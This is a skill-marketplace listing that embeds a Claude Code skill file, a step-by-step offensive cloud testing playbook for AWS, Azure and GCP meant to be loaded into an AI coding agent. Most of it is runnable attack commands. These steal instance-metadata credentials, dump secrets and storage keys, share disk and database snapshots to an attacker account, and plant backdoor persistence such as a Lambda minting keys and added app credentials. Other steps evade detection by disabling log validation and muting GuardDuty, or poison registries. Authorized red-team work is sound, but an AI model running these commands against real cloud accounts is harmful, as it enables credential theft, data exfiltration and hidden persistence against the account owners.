Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
snailsploit avatar

Offensive Cloud

  • 42 installs
  • 2.8k repo stars
  • Updated May 8, 2026
  • snailsploit/claude-red

Helps with ai & agent building tasks.

About

offensive-cloud is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted development.

  • offensive-cloud
  • AI & Agent Building
  • AI-coding skill

Offensive Cloud by the numbers

  • 42 all-time installs (skills.sh)
  • +2 installs in the week ending Aug 5, 2026 (Skillselion tracking)
  • Ranked #8,070 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/snailsploit/claude-red --skill offensive-cloud

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs42
repo stars2.8k
Last updatedMay 8, 2026
Repositorysnailsploit/claude-red

What it does

Helps with ai & agent building tasks.

Files

SKILL.mdMarkdownGitHub ↗

Cloud (AWS / Azure / GCP) — Offensive Testing Methodology

Quick Workflow

1. Identify the cloud and the identity context you have (user, role, service account, instance role) 2. Enumerate without writes — aws sts get-caller-identity, az account show, gcloud auth list 3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.) 4. Find the data and the persistence anchors before alarms fire 5. Document the kill chain with timestamps, identities, and resources for the report

---

AWS

Identity Discovery

aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS Credential Theft

# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.

Privilege Escalation Paths

PathRequired PermissionOutcome
iam:PassRole + lambda:CreateFunctionPass any role to Lambda you createRun code as that role
iam:PassRole + ec2:RunInstancesPass any role to EC2 instanceIMDS → role creds
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersionEdit your own policySelf-elevate
iam:UpdateAssumeRolePolicyOn a privileged roleAdd yourself as principal
iam:CreateLoginProfile (on user without one)Set console passwordConsole access
iam:CreateAccessKey (on another user)Mint keys for someone elsePersistent access
sts:AssumeRole with sts:TagSession to ABAC roleIf role trusts session tagsTag-based escalation
cloudformation:CreateStack + permissive roleRun any service actionIndirect arbitrary perms
glue:UpdateDevEndpointInject SSH key into Glue endpointCode exec as Glue role
ssm:SendCommand to any instanceRCE on instances + their rolesLateral + escalation
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan

Cross-Account / Organization

# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account

# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots

Data Targets

# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>

# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
  --attribute createVolumePermission \
  --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
  --attribute-name restore --values-to-add ATTACKER_ACCT

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Persistence

# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ...  # Rare but devastating

# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user

Detection Evasion

  • CloudTrail to multi-region with log file validation — disable validation if you have perms
  • GuardDuty findings can be muted via update-findings-feedback if you have the permission (rare in prod)
  • VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only

---

Azure

Identity Discovery

az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)

# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"

IMDS

curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Privilege Escalation Paths

PathRequired Role / PermissionOutcome
User Access Administrator on self/subGrant self OwnerSubscription Owner
App Registration ownerAdd cert/secret, mint app-only tokensApp's permissions
Virtual Machine Contributor + Reader on KVRun command on VM with MSI → KVSecrets
Custom role with */write on RBACEdit role assignmentsSelf-elevate
Logic App contributorEdit workflow → privileged actionIndirect any action
Automation Account contributorRunBook with Run-As accountRun as RunAs identity
AAD Application AdministratorAssign app to high-priv roleCloud admin via app
AAD Cloud Application AdministratorSame minus on-premCloud admin
AAD Directory Synchronization AccountDCSync via AAD ConnectAll on-prem hashes
Privileged Authentication AdministratorReset MFA / passwords for GlobalsGlobal Admin reset
# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui  # browse the gathered DB

# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com

Data Targets

# Storage account access keys (gold)
az storage account keys list -g RG -n SA

# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred

# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct

# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>

Persistence

# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append

# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention

Detection Evasion

  • AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
  • Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
  • Defender for Cloud: alert suppression rules

---

GCP

Identity Discovery

gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)

IMDS

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Privilege Escalation Paths

PathRequired PermissionOutcome
iam.serviceAccountTokenCreator on SAMint tokens as SASA's perms
iam.serviceAccountUser + compute.instances.createPass SA to new VMRun as SA via IMDS
iam.serviceAccountKeyAdminCreate JSON key for any SAPersistent SA creds
cloudbuild.builds.createBuild runs as Cloud Build SA (often Editor)Editor on project
deploymentmanager.deployments.createRuns as DM SA (often Owner)Owner
cloudfunctions.functions.create + actAsPass any SA to functionRun as that SA
dataflow.jobs.create + actAsSame patternSA's perms
iam.roles.update (custom roles)Add permissions to a role you haveSelf-elevate
resourcemanager.projects.setIamPolicyGrant self any roleOwner
# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/

# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control

Data Targets

# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket

# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>

Cross-Project / Folder Pivot

# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"

---

Cross-Cloud Patterns

CI/CD as the Pivot

Most cloud takeovers in 2024-2025 start with CI tokens:

  • GitHub Actions OIDC misconfigured → assume any AWS role with weak sub claim
  • GitLab CI pushed to wrong branch → gains prod role
  • Jenkins agent with cloud credentials in env

Test the OIDC trust policy claims carefully:

"Condition": {
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org/*"
  }
}

Snapshot Sideways (works on all 3)

Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.

Secrets-in-Logs

CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.

Container Registry Poisoning

ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.

---

Tooling Matrix

ToolAWSAzureGCPUse
ScoutSuitePosture audit
ProwlerCIS/PCI checks
PacuOffensive framework
CloudGoatVulnerable lab
BloodHound + AzureHoundGraph-based escalation
ROADtoolsAAD recon + offline analysis
MicroBurstPS-based offensive
StormspotterMS' own offensive enum
gcp_scannerToken-based recon
GCPBucketBruteGCS bucket discovery

---

Engagement Cheatsheet

[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization

---

Key References

  • AWS IAM permissions reference (boto3 docs)
  • Azure RBAC built-in roles + actions list
  • GCP IAM permissions reference
  • HackTricks Cloud — ongoing reference for newest paths
  • "Pacu" framework docs — pacu.aws.cloud
  • MITRE ATT&CK Cloud Matrix
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/cloud.md

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.